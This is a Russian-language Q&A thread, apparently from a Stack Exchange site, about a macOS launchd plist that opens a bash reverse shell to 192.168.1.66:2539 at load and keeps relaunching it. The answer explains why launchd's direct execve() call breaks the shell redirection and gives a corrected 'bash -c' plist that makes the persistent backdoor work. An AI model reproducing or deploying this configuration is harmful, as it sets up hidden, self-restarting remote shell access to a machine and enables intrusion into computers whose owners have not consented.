У кого-нибудь есть идеи, почему это не в состоянии выполнить соединение обратного потока при загрузке?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.unix.bash.plist</string>
        <key>ProgramArguments</key>
        <array>
                <string>/bin/bash</string>
                <string>-i</string>
                <string>&gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>100</integer>
        <key>KeepAlive</key>
        <true/>
</dict>
</plist>

1 ответ1

1

Перенаправления, такие как < или > (и в большинстве Unix, даже специальных файлов /dev/tcp ) являются частью командного синтаксиса оболочки и могут использоваться только внутри оболочки, которая их поддерживает. Однако launchd не использует никакой оболочки для запуска сервисов - он создает процесс напрямую, используя execve() или аналогичные функции, передавая список аргументов, которые не интерпретируются далее.

В этом случае /bin/bash выполняется и получает следующие аргументы:

  • argv [0] = " /bin/bash "
  • argv [1] = " -i "
  • argv [2] = " >& /dev/tcp/192.168.1.66/2539 0>& 1 "
  • argv [3] = NULL

Bash интерпретирует второй аргумент (argv [2]) как имя файла сценария оболочки для запуска; поскольку такого файла не существует, bash завершается.


Теперь, если вам нужно, чтобы команда интерпретировалась оболочкой, вам придется запустить оболочку вручную:

    <key>ProgramArguments</key>
    <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>bash -i &gt;&amp; /dev/tcp/192.168.1.66/2539 0&gt;&amp; 1</string>
    </array>

Всё ещё ищете ответ? Посмотрите другие вопросы с метками .